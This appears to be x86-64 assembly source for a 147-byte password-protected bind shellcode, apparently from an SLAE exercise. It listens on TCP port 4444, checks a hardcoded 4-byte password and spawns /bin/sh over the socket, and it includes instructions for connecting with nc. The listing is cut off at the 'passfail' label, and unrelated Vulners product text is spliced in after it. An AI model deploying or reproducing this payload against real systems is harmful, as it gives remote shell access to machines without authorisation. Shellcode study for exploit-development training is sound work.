; ===================================================================
; Password Protected Bind Shell
; Author: SLAE64-1351 (Keyman)
; Date: 03/09/2014
;
; Shellcode length: 147 bytes
;
; Description:
;
; Simple bind shell (listens on port 4444 by default) with 4 bytes
; password protection. Using a 4 bytes long password is still
; reasonably strong for a single-shot connection and keeps the
; code shorter.
;
; To change the port or the password just modify the values of the
; exp_port and exp_pass "variables" below.
;
; After the code gets executed connect to the newly opened port:
;
; nc <IP address> <port number>
;
; There is no password prompt. Type in the 4 bytes long password
; and hit enter. If the password matches, you are ready to type
; OS commands.
;
; ===================================================================
global _start
section .text
; -------------------------------------------------------------------
; Preprocessor directives so you can easily change the port and the
; password.
; -------------------------------------------------------------------
; Port number to listen on.
%define exp_port 0x5c11 ; 4444
; Password to use.
%define exp_pass 0x6c6c6568 ; hell
; -------------------------------------------------------------------
; DO NOT TOUCH
; preprocessor directives so syscalls can be easily referenced
; -------------------------------------------------------------------
%define sys_bind 49
%define sys_listen 50
%define sys_accept 43
%define sys_execve 59
%define sys_dup2 33
_start:
; ---------------------------------------------------------------
; START: create socket
; ---------------------------------------------------------------
xor rax, rax
push rax ; saving for sockaddr
push rax ; struct
push rax ; clear rax later
push rax ; set rdx to 0
pop rdx ; protocol
mov al, 2
push rax
push rax
pop rsi
pop rdi ; PF_INET
shr rsi, 1 ; SOCK_STREAM
add al, 39 ; socket syscall (41)
syscall
; ---------------------------------------------------------------
push rax ; store sockfd as first
pop rdi ; argument of bind
; ---------------------------------------------------------------
; START: create struct
;
; srv_addr.sin_family = AF_INET;
; srv_addr.sin_addr.s_addr = INADDR_ANY;
; srv_addr.sin_port = htons(portno);
;
; This is how it looks like on the stack (port is 4444):
;
; 0x02 0x00 0x11 0x5c 0x00 0x00 0x00 0x00
; 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
; ---------------------------------------------------------------
pop rax ; clear rax so can be
; used for syscall Nr.
mov byte [rsp], 2 ; set values
mov word [rsp+2], exp_port
push rsp
pop rsi ; addr of struct in rsi
; ---------------------------------------------------------------
; bind socket
; ---------------------------------------------------------------
push rax
pop rdx
add dl, 16 ; socklen_t addrlen
add al, sys_bind ; syscall number
syscall
; ---------------------------------------------------------------
; listen
; ---------------------------------------------------------------
; rdi should still hold the socket descriptor so we don't
; have to set it again
; We can save a 'xor rax, rax' here.
; If success, 0 is returned by bind, we will have the rax reg.
; cleared.
push 2
pop rsi
add al, sys_listen
syscall
; ---------------------------------------------------------------
; accept
; ---------------------------------------------------------------
; rdi should still hold the socket descriptor so we don't
; have to set it again
; We can save a 'xor rax, rax' here.
; If success, 0 is returned by listen, we will have the rax reg.
; cleared.
push rax
pop rdx
push rax
pop rsi
add al, sys_accept
syscall
; at this point rax contains the new socket descriptor
push rax ; save new sockfd
push rax ;
pop rdi ; first argument for
; read()
pop r15 ; save for later
; ---------------------------------------------------------------
; get passwd
;
; We will work with a 4 byte password, should be more than
; enough as no brute forcing is possible. Chances to guess
; the right value is 0. Of course passwd should not contain
; null bytes.
;
; n = read(newsockfd,buffer,4);
; ---------------------------------------------------------------
xor rax, rax ; read() is syscall Nr. 0
push rax ; buffer filled with 0s
push rsp ; setup pointer to buf
pop rsi
add rdx, 4
syscall
; compare pass received with valid pass and exit if no match
xor rcx, rcx
inc rcx
push rsp
pop rdi
push exp_pass
push rsp
pop rsi
cmpsq
jne passfail ; passwd match, give shell
shell:
; ---------------------------------------------------------------
; 6. exec shell
; ---------------------------------------------------------------
add cl, 2
mov rdi, r15
dup_loop:
push rcx ; have to save rcx as dup2
; changes it's value
xor rax, rax
sub rcx, 1
push rcx
pop rsi
add al, sys_dup2
syscall
pop rcx ; restore the counter
loop dup_loop
jmp mytext
code:
pop rdi
mov [rdi+7], BYTE al
push rax
push rax
pop rsi
pop rdx
add al, sys_execve
syscall
mytext:
call code
MyText: db '/bin/sh', 0x41
passfail:Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation